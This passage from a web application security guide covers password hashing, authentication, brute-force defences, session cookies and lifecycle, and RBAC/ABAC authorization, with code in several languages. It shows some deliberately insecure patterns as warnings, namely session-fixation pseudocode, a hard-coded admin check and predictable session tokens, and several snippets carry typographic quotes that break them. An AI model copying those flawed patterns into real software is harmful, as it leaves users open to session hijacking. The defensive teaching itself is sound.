technically Argon2, scrypt, bcrypt and PBKDF2 are key derivation functions that use key stretching techniques, but for our purposes, we can think of them as a mechanism for creating a hash. <table class=„hash-algorithms“><thead><tr><th>Hash Algorithm</th> <th>Use for passwords?</th> </tr></thead><tr><td>scrypt</td> <td>Yes</td> </tr><tr><td>bcrypt</td> <td>Yes</td> </tr><tr><td>SHA-1</td> <td>No</td> </tr><tr><td>SHA-2</td> <td>No</td> </tr><tr><td>MD5</td> <td>No</td> </tr><tr><td>PBKDF2</td> <td>No</td> </tr><tr><td>Argon2</td> <td>watch (see sidebar)</td> </tr></table> In addition to choosing an appropriate algorithm, you want to make sure you have it configured correctly. Key derivation functions have configurable iteration counts, also known as work factor, so that as hardware gets faster, you can increase the time it takes to brute force them. OWASP provides recommendations on functions and configuration in their Password Storage Cheat Sheet. If you want to make your application a bit more future-proof, you can add the configuration parameters in the password storage, too, along with the hash and salt. That way, if you decide to increase the work factor, you can do so without breaking existing users or having to do a migration in one shot. By including the name of the algorithm in storage, too, you could even support more than one at the same time allowing you to evolve away from algorithms as they are deprecated in favor of stronger ones.   <h3>Once More with Hashing</h3> Really the only change to the code above is that rather than storing the password in clear text, you are storing the salt, the hash, and the work factor. That means when a user first chooses a password, you will want to generate a salt and hash the password with it. Then, during a login attempt, you will use the salt again to generate a hash to compare with the stored hash. As in: <pre>CREATE TABLE application_user (email_address VARCHAR(100) NOT

NULL PRIMARY KEY, hash_and_salt VARCHAR(60) NOT NULL) def login(conn, email, password): result = conn.cursor().execute(„SELECT hash_and_salt FROM application_user WHERE email_address = ?“, [email]) user = result.fetchone() if user is not None: hashed = user[0].encode(„utf-8“) return is_hash_match(password, hashed) return False def is_hash_match(password, hash_and_salt): salt = hash_and_salt[0:29] return hash_and_salt == bcrypt.hashpw(password, salt)</pre> The example above uses the python bcrypt library, which stores the salt and the work factor in the hash for you. If you print out the results of <code>hashpw()</code>, you can see them embedded in the string. Not all libraries work this way. Some output a raw hash, without salt and work factor, requiring you to store them in addition to the hash. But the result is the same: you use the salt with a work factor, derive the hash, and make sure it matches the one that was originally generated when the password was first created.   <h3>Final Tips</h3> This might be obvious, but all the advice above is only for situations where you are storing passwords for a service that you control. If you are storing passwords on behalf of the user to access another system, your job is considerably more difficult. Your best bet is to just not do it since you have no choice but to store the password itself, rather than a hash. Ideally the third party will be able to support a much more appropriate mechanism like SAML, OAuth or a similar mechanism for this situation. If not, you need to think through very carefully how you store it, where you store it and who has access to it. It's a very complicated threat model, and hard to get right. Many sites create unreasonable limits on how long your password can be. Even if you hash and salt correctly, if your password length limit is too small, or the allowed character set too narrow, you substantially reduce the number of possible passwords and increase the probability that the password can be brute forced. The goal, in the end, is not length, but entropy, but since you can't effectively enforce how your users generate their passwords, the following would leave in pretty good stead: Minimum 12 alpha-numeric and symbolic [1] A long maximum like 100 characters. OWASP recommends capping it at most 160 to avoid susceptibility to denial of service attacks resulting from passing in extremely long passwords. You'll have to decide if that's really a concern for your application Provide your users with some kind of text recommending that, if at all possible, they: use a password manager randomly generate a long password, and don't reuse the password for another site Don't prevent the user from pasting passwords into the password field. It makes many password managers unusable If your security requirements are very stringent then you may want to think beyond password strategy and look to mechanisms like two-factor authentication so you aren't over-reliant on passwords for security. Both NIST and Wikipedia have very detailed explanations of the effects of character length and set limits on entropy. If you are resources constrained, you can get quite specific about the cost of breaking into your systems based on speed of GPU clusters and keyspace, but for most of situations, this level of specificity just isn't necessary to find an appropriate password strategy.   <h3>In Summary</h3> Hash and salt all passwords Use an algorithm that is recognized as secure and sufficiently slow Ideally, make your password storage mechanism configurable so it can evolve Avoid storing passwords for external systems and services Be careful not to set password size limits that are too small, or character set limits that are too narrow   <hr class=„topSection“/><h2>Authenticate Users Safely</h2> If we need to know the identity of our users, for example to control who receives specific content, we need to provide some form of authentication. If we want to retain information about a user between requests once they have authenticated, we will also need to support session management. Despite being well-known and supported by many full-featured frameworks, these two concerns are implemented incorrectly often enough that they have earned spot #2 in the OWASP Top 10. Authentication is sometimes

confused with authorization. Authentication confirms that a user is who they claim to be. For example, when you log into your bank, your bank can verify it is in fact you and not an attacker trying to steal the fortune you amassed selling your captioned cat pictures site. Authorization defines whether a user is allowed to do something. Your bank may use authorization to allow you to see your overdraft limit, but not allow you to change it. Session management ties authentication and authorization together. Session management makes it possible to relate requests made by a particular user. Without session management, users would have to authenticate during each request they sent to a web application. All three elements - authentication, authorization, and session management - apply to both human users and to services. Keeping these three separate in our software reduces complexity and therefore risk. There are many methods of performing authentication. Regardless of which method you choose, it is always wise to try to find an existing, mature framework that provides the capabilities you need. Such frameworks have often been scrutinized over a long period of time and avoid many common mistakes. Helpfully, they often come with other useful features as well. An overarching concern to consider from the start is how to ensure credentials remain private when a client sends them across the network. The easiest, and arguably only, way to achieve this is to follow our earlier advice to use HTTPS for everything. One option is to use the simple challenge-response mechanism specified in the HTTP protocol for a client to authenticate to a server. When your browser encounters a 401 (Unauthorized) response that includes information about a challenge to access the resource, it will popup a window prompting you to enter your name and password, keeping them in memory for subsequent requests. This mechanism has some weaknesses, the most serious of which being that the only way for a user to logout is by closing their browser. A safer option that allows you to manage the lifecycle of a user's session after authenticating is by simply entering credentials through a web form. This can be as simple as looking up a username in a database table and comparing the hash of a password using an approach we outlined in our earlier section on hashing passwords. For example, using Devise, a popular framework for Ruby on Rails, this can be done by registering a module for password authentication in the model used to represent a User, and instructing the framework to authenticate users before requests are processed by controllers. <pre># Register Devise’s database_authenticatable module in our User model to # handle password authentication using bcrypt. We can optionally tune the work # factor with the 'stretches' option. class User < ActiveRecord::Base devise :database_authenticatable end # Superclass to inherit from in controllers that require authentication class AuthenticatedController < ApplicationController before_action :authenticate_user! end</pre> <h3>Understand Your Options</h3> Although authenticating using a username and a password works well for many systems, it isn’t our only option. We can rely on external service providers where users may already have accounts to identify them. We can also authenticate users using a variety of different factors: something you know, such as a password or a PIN, something you have, such as your mobile phone or a key fob, and something you are, such as your fingerprints. Depending on your needs, some of these options may be worth considering, while others are helpful when we want to add an extra layer of protection. One option that offers a convenience for many users is to allow them to log in using their existing account on popular services such as Facebook, Google, and Twitter, using a service called Single Sign-On (SSO). SSO allows users to log in to different systems using a single identity managed by an identity provider. For example, when visiting a website you may see a button that says “Sign in with Twitter” as an authentication option. To achieve this, SSO relies on the external service to manage logging the user in and to confirm their identity. The user never provides any credentials to our site. SSO can significantly reduce the amount of time it takes to sign up for a site and

eliminates the need for users to remember yet another username and password. However, some users may prefer to keep their use of our site private and not connect it to their identity elsewhere. Others may not have an existing account with the external providers we support. It is always preferable to allow users to register by manually entering their information as well. A single factor of authentication such as a username and password is sometimes not enough to keep users safe. Using other factors of authentication can add an additional layer of security to protect users in the event a password is compromised. With Two-Factor Authentication (2FA), a second, different factor of authentication is required to confirm the identity of a user. If something the user knows, such as a username and password, is used as the first factor of authentication, a second factor could be something the user has, such as a secret code generated using software on their mobile phone or by a hardware token. Verifying a secret code sent to a user via SMS text message was once a popular way of doing this, but it is now deprecated due to presenting various risks. Applications like Google Authenticator and a multitude of other products and services can be safer and are relatively easy to implement, although any option will increase complexity of an application and should be considered mainly when applications maintain sensitive data.   <h3>Reauthenticate For Important Actions</h3> Authentication isn’t only important when logging in. We can also use it to provide additional protection when users perform sensitive actions such as changing their password or transferring money. This can help limit the exposure in the event a user’s account is compromised. For example, some online merchants require you to re-enter details from your credit card when making a purchase to a newly-added shipping address. It is also helpful to require users to re-enter their passwords when updating their personal information.   <h3>Conceal Whether Users Exist</h3> When a user makes a mistake entering their username or password, we might see a website respond with a message like this: The user ID is unknown. Revealing whether a user exists can help an attacker enumerate accounts on our system to mount further attacks against them or, depending on the nature of the site, revealing the user has an account may compromise their privacy. A better, more generic, response might be: Incorrect user ID or password. This advice doesn’t just apply when logging in. Users can be enumerated through many other functions of a web application, for example when signing up for an account or resetting their password. It is good to be mindful of this risk and avoid disclosing unnecessary information. One alternative is to send an email with a link to continue their registration or a password reset link to a user after they enter their email address, instead of outputting a message indicating whether the account exists.   <h3>Preventing Brute Force Attacks</h3> An attacker might try to conduct a brute force attack to guess account passwords until they find one that works. With attackers increasingly using large networks of compromised systems referred to as botnets to conduct attacks with, finding an effective solution to protect against this while not impacting service continuity is a challenging task. There are many options we can consider, some of which we’ll discuss below. As with most security decisions, each provides benefits but also comes with tradeoffs. A good starting point that will slow an attacker down is to lock users out temporarily after a number of failed login attempts. This can help reduce the risk of an account being compromised, but it can also have the unintended effect of allowing an attacker to cause a denial-of-service condition by abusing it to lock users out. If the lockout requires an administrator to unlock accounts manually, it can cause a serious disruption to service. In addition, account lockout could be used by an attacker to determine whether accounts exist. Still, this will make things difficult for an attacker and will deter many. Using short lockouts of between 10 to 60 seconds can be an effective deterrent without imposing the same availability risks. Another popular option is to use CAPTCHAs, which attempt to deter automated attacks by presenting a challenge that a human can solve but a computer can not. Oftentimes it seems as though they present challenges that can be solved by neither. These can be part of an effective strategy, but they have become decreasingly effective and face criticisms. Advancements

have made it possible for computers to solve challenges with greater accuracy, and it has become inexpensive to hire human labor to solve them. They can also present problems for people with vision and hearing impairments, which is an important consideration if we want our site to be accessible. Layering these options has been used as an effective strategy on sites that see frequent brute force attacks. After two login failures occur for an account, a CAPTCHA might be presented to the user. After several more failures, the account might be locked out temporarily. If that sequence of failures repeats again, it might make sense to lock the account once again, this time sending an email to the account owner requiring them to unlock the account using a secret link.   <h3>Don’t Use Default Or Hard-Coded Credentials</h3> Shipping software with default credentials that are easy to guess presents a major risk for users and applications alike. It may seem like it is providing a convenience for users, but in reality this couldn’t be further from the truth. It is common to see this in embedded systems such as routers and IoT devices, which can immediately become easy targets once connected to networks. Better options might be requiring users to enter unique one-time passwords and then forcing the user to change it, or preventing the software from being accessed externally until a password is set. Sometimes hard-coded credentials are added to applications for development and debugging purposes. This presents risks for the same reasons and might be forgotten about before the software ships. Worse, it may not be possible for the user to change or disable the credentials. We must never hard-code credentials in our software.   <h3>In Frameworks</h3> Most web application frameworks include authentication implementations that support a variety of authentication schemes, and there are many other third party frameworks to choose from as well. As we stated earlier, it is preferable to try to find an existing, mature framework that suits your needs. Below are some examples to get you started. <table class=„input-validation-approaches“><thead><tr><th>Framework</th> <th>Approaches</th> </tr></thead><tbody readability=„1“><tr class=„even first“><td rowspan=„2“>Java</td> <td>Apache Shiro</td> </tr><tr class=„even“><td>OACC</td> </tr><tr class=„odd first“><td rowspan=„1“>Spring</td> <td>Spring Security</td> </tr><tr class=„even first“><td rowspan=„1“>Ruby on Rails</td> <td>Devise</td> </tr><tr class=„odd first“ readability=„1“><td rowspan=„2“>ASP.NET</td> <td>ASP.NET Core authentication</td> </tr><tr class=„odd“ readability=„1“><td>Built-in Authentication Providers</td> </tr><tr class=„even first“><td rowspan=„1“>Play</td> <td>play-silhouette</td> </tr><tr class=„odd first“><td rowspan=„1“>Node.js</td> <td>Passport framework</td> </tr></tbody></table> <h3>In Summary</h3> Use existing authentication frameworks whenever possible instead of creating one yourself Support authentication methods that make sense for your needs Limit the ability of an attacker to take control of an account You can take steps to prevent attacks to identify or compromise accounts Never use default or hard-coded credentials   <hr class=„topSection“/><h2>Protect User Sessions</h2> As a stateless protocol HTTP offers no built-in mechanism for relating user data across requests. Session management is commonly used for this purpose, both for anonymous users and for users who have authenticated. As we mentioned earlier, session management can apply both to human users and to services. Sessions are an attractive target for attackers. If an attacker can break session management to hijack authenticated sessions, they can effectively bypass authentication entirely. To make matters worse, it is fairly common to see session management implemented in a way that makes it easier for sessions to fall into the wrong hands. So what can we do to get it right? As with authentication, it is preferable to use an existing, mature framework to handle session management for you and tune it for your needs rather than trying to implement it yourself from scratch. To give you some idea of why it is important to use an existing framework so you can focus on using it for

your needs, we’ll discuss some common problems in session management, which fall into two categories: weaknesses in session identifier generation, and weaknesses in the session lifecycle. <h3>Generate Safe Session Identifiers</h3> Sessions are typically created by setting a session identifier inside a cookie that will be sent by a user’s browser in subsequent requests. The security of these identifiers depend on them being unpredictable, unique, and confidential. If an attacker can obtain a session identifier by guessing it or observing it, they can use it to hijack a user’s session. The security of identifiers can be easy to undermine by using predictable values, which is fairly common to see in custom implementations. For example, we might see a cookie of the form: <pre>Set-Cookie: sessionId=NzU4NjUtMTQ2Nzg3NTIyNzA1MjkxMg </pre> What happens if an attacker logs in several additional times and observes the following sequence for the sessionId cookie? <pre>NzU4ODQtMTQ2Nzg3NTIyOTg0NTE4Ng NzU4OTItMTQ2Nzg3NTIzNTQwODEzOQ </pre> An attacker might recognize that the sessionId is base64-encoded and decode it to observe its values: <pre>75865-1467875227052912 75884-1467875229845186 75892-1467875235408139 </pre> It doesn’t take much guesswork to realize the token is comprised of two values: what is most likely a sequence number, and the current time in microseconds. An identifier of this type would take little effort for an attacker to guess and hijack sessions. Although this is a basic example, other generation schemes don’t always offer much more in the way of protection. Attackers can make use of freely available statistical analysis tools to improve the chances of guessing more complex tokens. Using predictable inputs such as the current time or a user’s IP address to derive a token are not enough for this purpose. So how can we generate a session identifier safely? To greatly reduce the chances of an attacker guessing a token, OWASP’s Session Management Cheat Sheet recommends using a session identifier that is a minimum of 128 bits (16 bytes) in length generated using a secure pseudorandom number generator. For example, both Java and Ruby have classes named SecureRandom that obtain pseudorandom numbers from sources such as /dev/urandom. Instead of using an identifier that will be used to look up information about a user, some session management implementations put information about the user inside of the cookie itself to eliminate the cost of performing a lookup in a data store. Unless done carefully using cryptographic algorithms to ensure the confidentiality, integrity, and authenticity of the data, this can lead to even more problems. The decision to store any information about a user inside of a cookie is a subject of controversy and should not be taken lightly. As a principle, limit the information sent inside the cookie to what is absolutely necessary. Never store personally identifiable information about the user or secret information, even when you're using encryption. If the information includes things like the user’s username or their role and privilege levels, you must protect against the risk of an attacker tampering with the data to bypass authorization or hijack another user’s account. If you choose to store this type of information inside of cookies, look for an existing framework that mitigates these risks and has withstood scrutiny by experts.   <h3>Don't Expose Session Identifiers</h3> Using HTTPS will help prevent someone from eavesdropping on network traffic to steal session identifiers, but they are sometimes leaked unintentionally in other ways. In a classic example, an airline customer sends a link to search results on the airline’s website to a friend. The link contains a parameter with the customer’s session identifier, and the friend is suddenly able to book flights as the customer. Needless to say, exposing the session identifier in the URL is risky. It might get unwittingly sent to a third party like in the above example, exposed in the Referer header if the user clicks a link to an external website, or logged in the site’s logs. Cookies are a better choice for this purpose since they don’t risk exposure in this way. It is also common to see session identifiers sent in custom HTTP headers and even in body arguments of POST requests. No matter what you choose to do, make sure the session identifier should not be exposed in URLs, logs, referrer, or anywhere they could be accessed by an attacker. <div

id=„ProtectYourCookies“ readability=„56“> <h3>Protect Your Cookies</h3> When cookies are used for sessions, we should take some simple precautions to make sure they are not unintentionally exposed. There are four attributes that are important to understand for this purpose: Domain, Path, HttpOnly, and Secure. Domain restricts the scope of a cookie to a particular domain and its subdomains, and Path further restricts the scope to a path and its subpaths. Both attributes are set to fairly restrictive values by default when not explicitly set. The default for Domain will only permit a cookie to be sent to the originating domain and its subdomains, and the default for Path will restrict a cookie to the path of the resource where the cookie was set and its subpaths. Setting the Domain to a less restrictive value can be risky. Imagine if we were to set the Domain to martinfowler.com when visiting payments.martinfowler.com to pay for a new book subscription service. This would result in the cookie being sent to martinfowler.com and any of its subdomains on subsequent requests. Aside from it potentially being unnecessary to send the cookie to all subdomains, if we don’t control every subdomain and their security (for example, are they using HTTPS?), it might help an attacker to capture cookies. What would happen if our user visited evil.martinfowler.com? The Path attribute should also be set as restrictive as possible. If the session identifier is only needed when accessing the /secret/ path and its subpaths after logging in at /login, it is a good idea to set it to /secret/. The other two attributes, Secure and HttpOnly, control how the cookie is used. The Secure flag indicates that the browser should only send the cookie when using HTTPS. The HttpOnly flag instructs the browser that the cookie should not be accessible through JavaScript or other client side scripts, which helps prevent it being stolen by malicious code. Putting it together, our cookie might look like this: <pre>Set-Cookie: sessionId=[top secret value]; path=/secret/; secure; HttpOnly; domain=payments.martinfowler.com </pre> The net effect of the above statement would be a cookie with client script access disabled that is only available to requests to the paths below https://payments.martinfowler.com/secret/. By restricting the scope of the cookie, the attack surface becomes much smaller.   <h3>Managing the Session Lifecycle</h3> Properly managing the lifecycle of a session will reduce the risk of it becoming compromised. How you manage sessions depends on your needs. As an example, a bank probably has a very different session lifecycle than our site for captioned cat pictures. We may choose to begin a session during the first request a user makes to our site, or we may decide to wait until the user authenticates. Whatever you choose to do, there is a risk when changing the privilege level of a session. What would happen if an attacker is able to set the session identifier for a user to a less privileged session known to the attacker, for example in a cookie or in a hidden form field? If the attacker is able to trick the user into logging in, they are suddenly in control of a more privileged session. This is an attack called session fixation. There are two things we can do to avoid having our users falling into this trap. First, we should always create a new session when a user authenticates or elevates their privilege level. Second, we should only create session identifiers ourselves and ignore identifiers that aren’t valid. We would never want to do this: <pre> pseudocode. NEVER DO THIS if (!isValid(sessionId)) {*

```
  session = createSession(sessionId);
```

} </pre> The longer a session is active, the greater the chance an attacker might be able to get their hands on it. To reduce that risk and keep our session table clean, we can impose timeouts on sessions that are left inactive for some amount of time. The duration of time depends on your risk

tolerance. On our captioned cat pictures site, it might only be necessary to do this after a month or even longer. A bank, on the other hand, might have a strict policy of timing out sessions after 10 minutes of inactivity as a security precaution. Our users might not be using a computer they exclusively have access to, or they might prefer to not leave their session logged in. Always make sure there is a visible and easy way to log out. When a user does log out, we must instruct the browser to destroy their session cookie by indicating that it expired at a date in the past. For example, based the cookie we set earlier: <pre>Set-Cookie: sessionId=[top secret value]; path=/secret/; secure; HttpOnly;

```
domain=payments.martinfowler.com; expires=Thu, 01 Jan 1970 00:00:00 GMT
```

</pre> One final consideration is providing some way for users to terminate their active sessions in the event they accidentally forgot to logout of a system they don’t own or even suspect their account has been compromised. One easy way to deal with this is to terminate all sessions for a user when they change their password. It is also helpful to provide the ability for a user to view a list of their active sessions to help them identify when they are at risk.   <h3>Verify It</h3> There are a lot of different considerations involved in authentication and session management. To make sure we haven’t made any mistakes, it is helpful to look at OWASP’s ASVS (Application Security Verification Standard), which is an invaluable resource when making sure there are no gaps in requirements or in our implementation. The standard has an entire section on authentication and another on session management. ASVS suggests security based on three levels of needs: 1, which will help defend against some basic vulnerabilities, 2, which is suitable for an ordinary site that maintains some sensitive data, and 3, which we might see in highly sensitive applications such as for health care or financial services. Most of the security precautions we describe will fit in with level 2.   <h3>In Frameworks</h3> We have outlined only some of the risks that arise in session identifier generation and session lifecycle management. Fortunately, session management is built into most web application frameworks and even some server implementations, providing a number of mature options to use rather than risk implementing it yourself. <table class=„input-validation-approaches“><thead><tr><th>Framework</th> <th>Approaches</th> </tr></thead><tbody readability=„1“><tr class=„even first“><td rowspan=„4“>Java</td> <td>Tomcat</td> </tr><tr class=„even“><td>Jetty</td> </tr><tr class=„even“><td>Apache Shiro</td> </tr><tr class=„even“><td>OACC</td> </tr><tr class=„odd first“><td rowspan=„1“>Spring</td> <td>Spring Security</td> </tr><tr class=„even first“><td rowspan=„2“>Ruby on Rails</td> <td>Ruby on Rails</td> </tr><tr class=„even“><td>Devise</td> </tr><tr class=„odd first“ readability=„1“><td rowspan=„2“>ASP.NET</td> <td>ASP.NET Core authentication</td> </tr><tr class=„odd“ readability=„1“><td>Built-in Authentication Providers</td> </tr><tr class=„even first“><td rowspan=„1“>Play</td> <td>play-silhouette</td> </tr><tr class=„odd first“><td rowspan=„1“>Node.js</td> <td>Passport framework</td> </tr></tbody></table> <h3>In Summary</h3> Use existing session management frameworks instead of creating your own Keep session identifiers secret, do not use them in URLs or logs Protect session cookies using attributes to restrict their scope Create a new session when one doesn't exist or whenever a user changes their privilege level Never create sessions with ids you haven't created yourself Make sure users have a way to log out and to terminate their existing sessions   <hr class=„topSection“/><h2>Authorize Actions</h2> We discussed how authentication establishes the identity of a user or system (sometimes referred to as a principal or actor). Until that identity is used to assess

whether an operation should be permitted or denied, it doesn't provide much value. This process of enforcing what is and is not permitted is authorization. Authorization is generally expressed as permission to take a particular action against a particular resource, where a resource is a page, a file on the files system, a REST resource, or even the entire system. <h3>Deny by Default</h3> Earlier in this article we talked about the value of positive validation (or whitelisting). The same principle applies with authorization. Your authorization mechanism should always deny actions by default unless they are explicitly allowed. Similarly, if you have some actions that require authorization and others that do not, it is much safer to deny by default and override any actions that don't require a permission. In both cases, providing a safe default limits the damage that can occur if you neglect to specify the permissions for a particular action.   <h3>Authorize Actions on Resources</h3> Generally speaking, you will encounter two different kinds of authorization requirements: global permissions and resource-level permissions. You can think of global permission as having an implicit system resource. However, implementation details between a global and resource permissions tend to be different, as demonstrated in the following examples. Because the resource of global permission is implicit, or, if you prefer, non-existent, the implementation tends to be straightforward. For example, if I wanted to add a permission check to shutdown my server, I could do the following: <pre>public OperationResult shutdown(final User callingUser) {

```
  if (callingUser != null &amp;&amp;
callingUser.hasPermission(Permission.SHUTDOWN)) {
      doShutdown();
      return SUCCESS;
  } else {
      return PERMISSION_DENIED;
  }
```

}</pre> An alternative implementation using Spring Security's declarative capability might look like this: <pre>@PreAuthorize(„hasRole('ROLE_SHUTDOWN')“) public void shutdown() throws AccessDeniedException {

```
  doShutdown();
```

}</pre> Resource authorization is generally more complex because it validates whether an actor can take a particular action against a particular resource. For example a user should be able to modify their own profile and only their own profile. Again, our system MUST validate that the caller is entitled to take the action on the specific resource being affected. The rules that govern resource authorization are domain-specific and can be fairly complicated both to implement and maintain. Existing frameworks may provide assistance, but you will need to make sure the one you use is sufficiently expressive to capture the complexity you require without being too complicated to maintain. An example might look like this: <pre>public OperationResult updateProfile(final UserId profileToUpdateId, final ProfileData newProfileData, final User callingUser) {

```
  if (isCallerProfileOwner(profileToUpdateId, callingUser)) {
      doUpdateProfile(profileToUpdateId, newProfileData);
      return SUCCESS;
```

```
  } else {
      return PERMISSION_DENIED;
  }
```

} private boolean isCallerProfileOwner(final UserId profileToUpdateId, final User callingUser) {

```
  //Make sure the user is trying to update their own profile
  return profileToUpdateId.equals(callingUser.getUserId());
```

}</pre> Or declaratively, using Spring Security again:
<pre>@PreAuthorize(„hasPermission(#updateUserId, 'owns')“) public void updateProfile(final UserId updateUserId, final ProfileData profileData, final User callingUser) throws AccessDeniedException {

```
  doUpdateProfile(updateUserId, profileData);
```

}</pre> <h3>Use Policy to Authorize Behavior</h3> Fundamentally, the entire process from identification through execution of an action could be summarized as follows: An anonymous actor becomes a known principal through authentication Policy determines whether an action can be taken by that principal against a resource. Assuming the policy allows the action, the action is executed. A policy contains the logic that answers the question of whether an action is or is not allowed, but the way it makes that assessments varies broadly based on the needs of the application. Although we are unable to cover them all, the following section will summarize some of the more common approaches to authorization and provide some idea of when each is best applied. <h4>Implementing RBAC</h4> Probably the most common variant of authorization is role-based access control (RBAC). As the name implies, users are assigned roles and roles are assigned permissions. Users inherit the permission for any roles they have been assigned. Actions are validated for permissions. Perhaps you're wondering about the value of all this indirection: all you care about is that Kristen, your administrator, is able to delete users, and other users cannot. Why not just check for Kristen's username, as in the following code? <pre>public OperationResult deleteUser(final UserId userId, final User callingUser) {

```
  if (callingUser != null &amp;&amp;
callingUser.getUsername().equals("admin_kristen")) {
      doDelete(userId);
      return SUCCESS;
  } else {
      return PERMISSION_DENIED;
  }
```

}</pre> What happens when user „admin_kristen“ leaves your organization or changes to another role? You either have to share her credentials (which is, of course, a very bad idea) or go through the code changing all references to „admin_kristen“ to the new user. A very common alternative to this is to check for the role, as in this case: <pre>public OperationResult deleteUser(final UserId userId, final User callingUser) {

```
   if (callingUser != null &amp;&amp; callingUser.hasRole(Role.ADMIN)) {
       doDelete(userId);
```

```
        return SUCCESS;
    } else {
        return PERMISSION_DENIED;
    }
```

}</pre> Better, but not great. We haven't tied identity to the action, but we still have a problem if we find that there are admins with lesser privileges that are allowed to add users, but not delete users. Suddenly our „admin“ role isn't granular enough and we're forced to find all the „admin“ checks, and, if appropriate, put an OR operation for operations allowed by both admins and our new user_creator role. As the system evolves, you end up with more and more complicated statements and an explosion in the number of roles. Users and roles will change as our software evolves, and so our solution should reflect that. Instead of hard-coding user names or even role names, we'll be best served in the long term if our code validates that a particular action is allowed. This code shouldn't be concerned with who the user is, or even what roles they may or may not have, but rather whether they have the permission to do something. The mapping of identity to permission can be done upstream. <pre>public OperationResult deleteUser(final UserId userId, final User callingUser) {

```
  if (callingUser != null &amp;amp;&amp;amp;
callingUser.hasPermission(Permission.DELETE_USER)) {
      doDelete(userId);
      return SUCCESS;
  } else {
      return PERMISSION_DENIED;
  }
```

}</pre> Our structure is much better now because we've made the choice to explicitly decouple permissions from roles. Yes, there is some complexity that comes with the extra step needed to map users to permissions, but generally speaking you can take advantage of frameworks like Spring Security or CanCanCan to do the heavy lifting. Consider RBAC when: Permissions are relatively static Roles in your policies actually map reasonably to roles within your domain, rather than feeling like contrived aggregations of permissions There isn't a terribly large number of permutations of permission, and therefore roles that will have to be maintained You have no compelling reason to use one of the other options. <h4>Implementing ABAC</h4> If your application has more advanced needs than you can reasonably implement with RBAC, you may want to look at attribute-based access control (ABAC). Attribute-based access control can be thought of as a generalization of RBAC that extends to any attribute of the user, the environment in which the user exists, or the resource being accessed. With ABAC, instead of making access control decisions based on just whether the user has a role assigned, the logic can come from any property of the user's profile such as their position as defined by HR, the amount of time they have worked at the company, or the the country of their IP address. In addition, ABAC can draw on global attributes like the time of day or whether it's a national holiday in the user's locale. The most common standarized means of expressing ABAC policy is XACML, an XML-based format from Oasis. This example demonstrates how one might write a rule that allows users to read if they are in a particular department at a particular time of day: <pre><Policy PolicyId=„ExamplePolicy“

```
      RuleCombiningAlgId="urn:oasis:names:tc:xacml:1.0:rule-combining-
algorithm:permit-overrides"&gt;
  &lt;Target&gt;
      &lt;Subjects&gt;
          &lt;AnySubject/&gt;
      &lt;/Subjects&gt;
      &lt;Resources&gt;
          &lt;Resource&gt;
              &lt;ResourceMatch
MatchId="urn:oasis:names:tc:xacml:1.0:function:anyURI-equal"&gt;
                  &lt;AttributeValue
DataType="http://www.w3.org/2001/XMLSchema#anyURI"&gt;http://example.com/res
ources/1&lt;/AttributeValue&gt;
                  &lt;ResourceAttributeDesignator
                      DataType="http://www.w3.org/2001/XMLSchema#anyURI"
AttributeId="urn:oasis:names:tc:xacml:1.0:resource:resource-id" /&gt;
              &lt;/ResourceMatch&gt;
          &lt;/Resource&gt;
      &lt;/Resources&gt;
      &lt;Actions&gt;
          &lt;AnyAction /&gt;
      &lt;/Actions&gt;
  &lt;/Target&gt;
  &lt;Rule RuleId="ReadRule" Effect="Permit"&gt;
      &lt;Target&gt;
          &lt;Subjects&gt;
              &lt;AnySubject/&gt;
          &lt;/Subjects&gt;
          &lt;Resources&gt;
              &lt;AnyResource/&gt;
          &lt;/Resources&gt;
          &lt;Actions&gt;
              &lt;Action&gt;
                  &lt;ActionMatch
MatchId="urn:oasis:names:tc:xacml:1.0:function:string-equal"&gt;
                      &lt;AttributeValue
DataType="http://www.w3.org/2001/XMLSchema#string"&gt;read&lt;/AttributeValu
e&gt;
                      &lt;ActionAttributeDesignator
                          DataType="http://www.w3.org/2001/XMLSchema#string"
AttributeId="urn:oasis:names:tc:xacml:1.0:action:action-id"/&gt;
                  &lt;/ActionMatch&gt;
              &lt;/Action&gt;
          &lt;/Actions&gt;
      &lt;/Target&gt;
      &lt;Condition
FunctionId="urn:oasis:names:tc:xacml:1.0:function:and"&gt;
          &lt;Apply
FunctionId="urn:oasis:names:tc:xacml:1.0:function:string-equal"&gt;
              &lt;Apply
FunctionId="urn:oasis:names:tc:xacml:1.0:function:string-one-and-only"&gt;
```

```
                    &lt;SubjectAttributeDesignator
DataType="http://www.w3.org/2001/XMLSchema#string"
                                                AttributeId="department"/&gt;
               &lt;/Apply&gt;
               &lt;AttributeValue
DataType="http://www.w3.org/2001/XMLSchema#string"&gt;development&lt;/Attrib
uteValue&gt;
            &lt;/Apply&gt;
            &lt;Apply
FunctionId="urn:oasis:names:tc:xacml:1.0:function:and"&gt;
               &lt;Apply
FunctionId="urn:oasis:names:tc:xacml:1.0:function:time-greater-than-or-
equal"&gt;
                    &lt;Apply
FunctionId="urn:oasis:names:tc:xacml:1.0:function:time-one-and-only"&gt;
                        &lt;EnvironmentAttributeSelector
                            DataType="http://www.w3.org/2001/XMLSchema#time"
AttributeId="urn:oasis:names:tc:xacml:1.0:environment:current-time"/&gt;
                    &lt;/Apply&gt;
                    &lt;AttributeValue
DataType="http://www.w3.org/2001/XMLSchema#time"&gt;09:00:00&lt;/AttributeVa
lue&gt;
               &lt;/Apply&gt;
               &lt;Apply
FunctionId="urn:oasis:names:tc:xacml:1.0:function:time-less-than-or-
equal"&gt;
                    &lt;Apply
FunctionId="urn:oasis:names:tc:xacml:1.0:function:time-one-and-only"&gt;
                        &lt;EnvironmentAttributeSelector
                            DataType="http://www.w3.org/2001/XMLSchema#time"
AttributeId="urn:oasis:names:tc:xacml:1.0:environment:current-time" /&gt;
                    &lt;/Apply&gt;
                    &lt;AttributeValue
DataType="http://www.w3.org/2001/XMLSchema#time"&gt;17:00:00&lt;/AttributeVa
lue&gt;
               &lt;/Apply&gt;
            &lt;/Apply&gt;
        &lt;/Condition&gt;
    &lt;/Rule&gt;
    &lt;Rule RuleId="Deny" Effect="Deny"/&gt;
```

</Policy> </pre> It's worth mentioning that XACML has its challenges. It is certainly verbose and arguably cryptic. It's also one of the few options you have if you want to use a standardized model for defining ABAC policies. Another option is to build policies in the language of your application, bound to its domain. Below is an example of the same policy written in JavaScript declarative style supported by a small DSL. <pre>allow('read')

```
  .of(anyResource())
  .if(and(
      User.department().is(equalTo('development')),
      timeOfDay().isDuring('9:00 PST', '17:00 PST'))
  );</pre>
```

